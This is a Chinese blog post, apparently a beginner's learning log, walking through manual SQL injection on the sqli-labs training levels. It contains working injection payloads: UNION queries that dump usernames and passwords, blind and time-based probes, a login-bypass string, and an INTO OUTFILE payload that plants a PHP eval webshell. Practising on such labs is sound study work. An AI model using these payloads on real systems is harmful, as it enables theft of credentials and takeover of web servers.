【小猪学渗透】打靶第4天:sqli-lab入门 手动解法

攻略来源:

攻略1:这是一篇来自于csdn的攻略
攻略2:这里还有一篇来自csdn的攻略
大概就是先看这两篇攻略。

开始干活

在这里插入图片描述
环境搭建好了之后大概是这个样式儿滴~

1~15关

less-1~4
在这里插入图片描述
进入第一关,看到提示,可以?id=1试一下
在这里插入图片描述
果然是可以滴,攻略1提供了代码审计的部分,我们也来学习一下,在这里插入图片描述
我们在源码里面找到了注入的位置,攻略1对此做出了解释。在这里插入图片描述
其实这一句话我们主要关心的是就是注入的位置的闭合问题,另外我们在DVWA部分已经训练过了就是要分析清楚这里的注入点事字符型还是数字型,(其实通过源码分析,这里应该是字符型,但是)我们进行如下尝试根据攻略2:
使用注入语句1=1、1=2进行判断。
在这里插入图片描述
在这里插入图片描述
1=1和1=2均为正常显示,我们推测为字符型,
使用注入语句1’ and ‘1’ = ‘1 和 1’ and ‘1’='2判断,果然在第二种情况下报错。
在这里插入图片描述
所以判断为字符型,发现字符型之后再后边加上–+注释掉后边的信息
在这里插入图片描述
发现输出正常,开始试行数,
在这里插入图片描述
正式试用行:
在这里插入图片描述
order by 3,正常
在这里插入图片描述
order by 4 ,报错,说明行数是3行
注意:这里需要使用 ’ 闭合数字1,并且需要–+注释掉后面,否则不闭合的结果就是根本测不出来行数,每次返回的页面都是正常的!!!

进行union注入:
获取所有数据库:SELECT * FROM users WHERE id=’-1’union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1
在这里插入图片描述
复制了以上内容然后报错了,没有输出数据库名,看来还需要进一步研究,
回到攻略1,查看回显位置的代码:1' and 1=2 union select 1,2,3 --+

在这里插入图片描述
判断回显的2是那么,3是password,主要这里最后一定要加+(加号)否则会报错,如下
在这里插入图片描述
可见攻略2的实际注入语句是:-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata--+
测试之后没有输出

遂回到攻略1

查库:select schema_name from information_schema.schemata;

查表:select table_name from information_schema.tables where table_schema='security';

查列:select column_name from information_schema.columns where table_name='users';

查字段:select username,password from security.users;

一个固定的简便办法:

group_concat(concat_ws('~',username,password)) from security.users --+

在这里插入图片描述
成功爆出!
此外有了攻略,其他爆出还是很简单的:
爆库名
在这里插入图片描述

爆表名:注入语句:1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
在这里插入图片描述
这里攻略1提到在这里插入图片描述
主要是通过手动猜测闭合方式的,我们跳过less2~4,直接进入less5

less5~8
在这里插入图片描述
显示错误, 攻略说这一关是布尔盲注,先找一下闭合方式
在这里插入图片描述
字符型闭合报错,
在这里插入图片描述
注释后正常,
在这里插入图片描述
说明漏洞是字符型漏洞,闭合为 ’
因为是布尔盲注,所以说只能判断正确和错误,
比如判断一下数据库的长度:1’ and length(database())=8 –-+

如果正确的话就会出现you are in …
在这里插入图片描述
如果不正确话就啥也不出现
在这里插入图片描述
这里需要注意一个问题,那就是–+前面不能有空格哦,这里必须注意!!!

按照攻略上说的less5~8都是一样的,觉得应该先放过这几关,到后边用burp和sqlmap解决。
但是看到另一个攻略说less7和8是有关文件注入的,所以拿出来试一下。
在这里插入图片描述
less7的进入,找一下闭合应该是 ‘)),语句应该是:’)) or 1=1–+
在这里插入图片描述
注释后
在这里插入图片描述
注释前,确定了闭合,然后想办法上传内容
在csdn上找到了这一关的详细解释:less7关卡详细解释

注入语句是:?id=-1’)) union select 1,2,“<?php @eval($_POST['hyc']); ?>” into outfile “C:\phpstudy\WWW\hyc.php” --+

在这里插入图片描述
报错了,我们继续看一下虚拟机,
在这里插入图片描述
奇怪是的我们查看虚拟机并没有发现生成木马
这里找到了sqlmap的操作方法
等之后再验证一下吧。

less9~10
时间盲注,构造注入语句:1" and if(length((database()))<1,sleep(3),1)
依旧是很麻烦,需要用的burp和sqlmap

less11
是一个登录界面
在这里插入图片描述
万能密码进行尝试,在Username一栏中输入:admin’or’1’='1#,密码随意。
在这里插入图片描述
爆出用户密码

less12(未成功)
输入admin" and 1=1–报错,发现闭合缺少)
在这里插入图片描述
输入admin") and 1=1–
在这里插入图片描述
按照攻略反复测试并未尝试出来。
发现一个问题就是绝大多数sqli-lab题目都是需要盲注的,手动操作非常的麻烦。我觉得应该提前结束手动解法,使用sqlmap解题。

  • 22
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值